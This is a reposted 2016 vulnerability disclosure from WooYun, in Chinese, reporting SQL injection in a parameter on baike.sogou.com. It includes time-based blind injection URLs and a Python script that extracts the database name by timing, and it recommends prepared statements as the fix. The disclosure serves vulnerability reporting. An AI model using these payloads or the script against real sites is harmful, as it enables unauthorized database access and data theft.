神刀安全网

漏洞标题: 搜狗某站存在SQL注入(附验证脚本)

漏洞详情

披露状态:

2016-04-22: 细节已通知厂商并且等待厂商处理中
2016-04-26: 厂商已经确认,细节仅向厂商公开
2016-05-06: 细节向核心白帽子及相关领域专家公开
2016-05-16: 细节向普通白帽子公开
2016-05-26: 细节向实习白帽子公开
2016-06-10: 细节向公众公开

简要描述:

quadrakill

详细说明:

站点:http://baike.sogou.com/

访问:

http://baike.sogou.com/activity/getLemmas.v?taskId=241&type=1%27%2b(select(0)from(select(if(ascii(substr(database(),1,1))=98,sleep(10),1)))v)%2b%27&_=1461176536776

漏洞标题:  搜狗某站存在SQL注入(附验证脚本)

访问:

http://baike.sogou.com/activity/getLemmas.v?taskId=241&type=1%27%2b%28select%280%29from%28select%28if%28ascii%28substr%28database%28%29,1,1%29%29=97,sleep%2810%29,1%29%29%29v%29%2b%27&_=1461176536776

漏洞标题:  搜狗某站存在SQL注入(附验证脚本)

漏洞证明:

脚本:

# -*- coding: utf8 -*-

#encoding=utf-8

import httplib

import time

import string

import sys

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',

'Referer': 'http://ldj.db.17173.com',

}

payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())

database = ''

for i in range(1,8,1):

for payload in payloads:

try:

conn = httplib.HTTPConnection('baike.sogou.com', timeout=10)

conn.request(method='GET', url="/activity/getLemmas.v?taskId=241&type=1%27%2b(select(0)from(select(if(ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+",sleep(10),1)))v)%2b%27")

status = conn.getresponse().status

conn.close()

except:

database += payload

print '/r[scan in progress]' ,database

time.sleep(0.01)

break

print ''

print 'database() is', database

漏洞标题:  搜狗某站存在SQL注入(附验证脚本)

修复方案:

预编译处理

版权声明:转载请注明来源 Vinc@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 搜狗某站存在SQL注入(附验证脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址